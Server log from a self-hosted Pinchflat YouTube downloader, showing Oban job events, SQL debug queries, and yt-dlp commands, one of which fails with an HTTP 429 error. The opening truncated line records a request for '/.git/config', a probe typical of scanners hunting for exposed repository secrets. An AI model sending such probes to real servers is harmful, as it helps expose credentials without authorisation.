"pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/.git/config", resp_b (truncated) 00:59:47.796 [info] {"source":"oban","duration":614,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:00:00.410 [info] {"source":"oban","duration":297,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:00:17.797 [info] {"source":"oban","duration":610,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:00:47.798 [info] {"source":"oban","duration":511,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:01:00.410 [info] {"source":"oban","duration":228,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:01:17.799 [info] {"source":"oban","duration":580,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:01:47.800 [info] {"source":"oban","duration":664,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:02:00.411 [info] {"source":"oban","duration":219,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:02:17.801 [info] {"source":"oban","duration":576,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:02:47.802 [info] {"source":"oban","duration":565,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:03:00.412 [info] {"source":"oban","duration":182,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:03:17.803 [info] {"source":"oban","duration":540,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:03:47.804 [info] {"source":"oban","duration":560,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:04:00.414 [info] {"source":"oban","duration":207,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:04:17.805 [info] {"source":"oban","duration":860,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:04:47.807 [info] {"source":"oban","duration":506,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:05:00.415 [info] {"source":"oban","duration":222,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:05:17.808 [info] {"source":"oban","duration":568,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:05:47.809 [info] {"source":"oban","duration":694,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:06:00.416 [info] {"source":"oban","duration":212,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:06:17.810 [info] {"source":"oban","duration":581,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:06:47.811 [info] {"source":"oban","duration":597,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:07:00.416 [info] {"source":"oban","duration":201,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:07:17.812 [info] {"source":"oban","duration":515,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:07:47.813 [info] {"source":"oban","duration":532,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:08:00.418 [info] {"source":"oban","duration":219,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:08:17.814 [info] {"source":"oban","duration":508,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:08:47.815 [info] {"source":"oban","duration":481,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:09:00.419 [info] {"source":"oban","duration":218,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:09:17.816 [info] {"source":"oban","duration":836,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:09:47.817 [info] {"source":"oban","duration":564,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:10:00.419 [info] {"source":"oban","duration":194,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:10:17.818 [info] {"source":"oban","duration":511,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:10:47.819 [info] {"source":"oban","duration":512,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:11:00.420 [info] {"source":"oban","duration":212,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:11:17.820 [info] {"source":"oban","duration":549,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:11:47.821 [info] {"source":"oban","duration":708,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:12:00.422 [info] {"source":"oban","duration":264,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:12:17.822 [info] {"source":"oban","duration":720,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:12:47.823 [info] {"source":"oban","duration":477,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:13:00.422 [info] {"source":"oban","duration":194,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:13:17.824 [info] {"source":"oban","duration":480,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:13:47.825 [info] {"source":"oban","duration":490,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:14:00.424 [info] {"source":"oban","duration":237,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:14:17.826 [info] {"source":"oban","duration":484,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:14:47.827 [info] {"source":"oban","duration":710,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:15:00.424 [info] {"source":"oban","duration":178,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:15:17.828 [info] {"source":"oban","duration":554,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:15:47.829 [info] {"source":"oban","duration":930,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:16:00.425 [info] {"source":"oban","duration":169,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:16:17.831 [info] {"source":"oban","duration":513,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:16:47.832 [info] {"source":"oban","duration":700,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:17:00.426 [info] {"source":"oban","duration":150,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:17:17.833 [info] {"source":"oban","duration":541,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:17:47.835 [info] {"source":"oban","duration":1529,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:18:00.427 [info] {"source":"oban","duration":174,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:18:17.836 [info] {"source":"oban","duration":551,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:18:47.837 [info] {"source":"oban","duration":607,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:19:00.428 [info] {"source":"oban","duration":199,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:19:17.839 [info] {"source":"oban","duration":1254,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:19:47.840 [info] {"source":"oban","duration":846,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:20:00.429 [info] {"source":"oban","duration":169,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:20:17.842 [info] {"source":"oban","duration":610,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:20:47.843 [info] {"source":"oban","duration":804,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:21:00.430 [info] {"source":"oban","duration":180,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:21:17.844 [info] {"source":"oban","duration":677,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:21:47.846 [info] {"source":"oban","duration":1453,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:22:00.431 [info] {"source":"oban","duration":182,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:22:17.848 [info] {"source":"oban","duration":1248,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:22:47.849 [info] {"source":"oban","duration":553,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:23:00.433 [info] {"source":"oban","duration":194,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:23:17.850 [info] {"source":"oban","duration":671,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:23:47.852 [info] {"source":"oban","duration":649,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:24:00.433 [info] {"source":"oban","duration":190,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:24:17.853 [info] {"source":"oban","duration":823,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:24:47.854 [info] {"source":"oban","duration":484,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:25:00.434 [info] {"source":"oban","duration":154,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:25:17.855 [info] {"source":"oban","duration":588,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:25:47.856 [info] {"source":"oban","duration":786,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:26:00.435 [info] {"source":"oban","duration":189,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:26:17.857 [info] {"source":"oban","duration":713,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:26:47.858 [info] {"source":"oban","duration":689,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:27:00.436 [info] {"source":"oban","duration":235,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:27:17.859 [info] {"source":"oban","duration":665,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:27:47.860 [info] {"source":"oban","duration":535,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:28:00.438 [info] {"source":"oban","duration":260,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:28:17.861 [info] {"source":"oban","duration":570,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:28:47.862 [info] {"source":"oban","duration":525,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:29:00.438 [info] {"source":"oban","duration":194,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:29:17.863 [info] {"source":"oban","duration":611,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:29:47.864 [info] {"source":"oban","duration":509,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:30:00.439 [info] {"source":"oban","duration":180,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:30:17.865 [info] {"source":"oban","duration":599,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:30:47.866 [info] {"source":"oban","duration":553,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:31:00.440 [info] {"source":"oban","duration":178,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:31:17.867 [info] {"source":"oban","duration":592,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:31:47.868 [info] {"source":"oban","duration":556,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:32:00.441 [info] {"source":"oban","duration":199,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:32:17.869 [info] {"source":"oban","duration":750,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:32:47.870 [info] {"source":"oban","duration":701,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:33:00.442 [info] {"source":"oban","duration":188,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:33:17.871 [info] {"source":"oban","duration":867,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:33:47.873 [info] {"source":"oban","duration":750,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:34:00.443 [info] {"source":"oban","duration":193,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:34:17.874 [info] {"source":"oban","duration":631,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:34:45.923 [info] {"args":{"id":51},"id":61,"meta":{},"system_time":1784871285923375482,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":14,"tags":["media_item","media_fetching","show_in_dashboard"]} 01:34:45.923 [debug] QUERY OK source="media_items" db=0.2ms idle=258.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [51] 01:34:45.924 [info] User scripts lifecyle file either not present or is empty. Skipping. 01:34:45.924 [debug] QUERY OK source="sources" db=0.1ms idle=199.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 01:34:45.924 [debug] QUERY OK source="media_profiles" db=0.1ms idle=199.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 01:34:45.924 [debug] QUERY OK source="media_items" db=0.1ms idle=199.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [51] 01:34:45.925 [debug] QUERY OK source="media_metadata" db=0.0ms idle=1.9ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [51] 01:34:45.925 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 01:34:45.925 [debug] QUERY OK source="settings" db=0.0ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:34:45.925 [debug] Running yt-dlp command for action: get_downloadable_status 01:34:45.926 [debug] QUERY OK source="settings" db=0.0ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:34:45.926 [debug] QUERY OK source="settings" db=0.0ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:34:45.926 [debug] QUERY OK source="settings" db=0.0ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:34:45.926 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=7EKCJlHjJgo --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/c3/0c/c30cf37b91d880a5af3ec9c522f9d7ba0abd775600e425e5d6468bc2b2345c66.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 01:34:47.875 [info] {"source":"oban","duration":784,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:34:48.115 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=7EKCJlHjJgo --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/c3/0c/c30cf37b91d880a5af3ec9c522f9d7ba0abd775600e425e5d6468bc2b2345c66.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 01:34:48.115 [debug] Running yt-dlp command for action: download 01:34:48.116 [debug] QUERY OK source="settings" db=0.2ms idle=391.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:34:48.116 [debug] QUERY OK source="settings" db=0.1ms idle=391.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:34:48.116 [debug] QUERY OK source="settings" db=0.1ms idle=391.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:34:48.118 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=7EKCJlHjJgo --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-auto-subs --write-subs --convert-subs srt --sub-langs en --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Classics/Classics/%(upload_date>%Y-%m-%d)S%(title)S[%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --extract-audio --format-sort +acodec:m4a --audio-format best --format bestaudio/best --output /downloads/Classics/Classics/%(upload_date>%Y-%m-%d)S%(title)S[%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/d7/89/d789b27533763d719d638c8879622199a25c80cd2a59d857d5fd181562d07fca.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 01:34:50.691 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=7EKCJlHjJgo --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-auto-subs --write-subs --convert-subs srt --sub-langs en --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Classics/Classics/%(upload_date>%Y-%m-%d)S%(title)S[%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --extract-audio --format-sort +acodec:m4a --audio-format best --format bestaudio/best --output /downloads/Classics/Classics/%(upload_date>%Y-%m-%d)S%(title)S[%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/d7/89/d789b27533763d719d638c8879622199a25c80cd2a59d857d5fd181562d07fca.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: Unable to download video subtitles for 'en': HTTP Error 429: Too Many Requests 01:34:50.691 [error] yt-dlp download error for media item #51: "ERROR: Unable to download video subtitles for 'en': HTTP Error 429: Too Many Requests\n" 01:34:50.839 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":51},"id":61,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":4768514,"event":"job:exception","queue_time":373212,"attempt":14,"tags":["media_item","media_fetching","show_in_dashboard"]} 01:35:00.445 [info] {"source":"oban","duration":207,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:35:17.876 [info] {"source":"oban","duration":899,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:35:47.878 [info] {"source":"oban","duration":492,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:36:00.445 [info] {"source":"oban","duration":195,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:36:17.879 [info] {"source":"oban","duration":662,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:36:47.880 [info] {"source":"oban","duration":700,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:37:00.446 [info] {"source":"oban","duration":194,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:37:17.881 [info] {"source":"oban","duration":574,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:37:30.347 [info] {"args":{"id":14},"id":22,"meta":{},"system_time":1784871450347409037,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":14,"tags":["media_item","media_fetching","show_in_dashboard"]} 01:37:30.348 [debug] QUERY OK source="media_items" db=0.5ms queue=0.1ms idle=623.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [14] 01:37:30.348 [info] User scripts lifecyle file either not present or is empty. Skipping. 01:37:30.349 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=624.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 01:37:30.350 [debug] QUERY OK source="media_profiles" db=0.4ms queue=0.1ms idle=625.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 01:37:30.352 [debug] QUERY OK source="media_items" db=0.7ms queue=0.1ms idle=207.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [14] 01:37:30.353 [debug] QUERY OK source="media_metadata" db=0.0ms idle=6.1ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [14] 01:37:30.353 [debug] QUERY OK source="media_profiles" db=0.1ms idle=4.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 01:37:30.353 [debug] QUERY OK source="settings" db=0.0ms idle=3.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:37:30.353 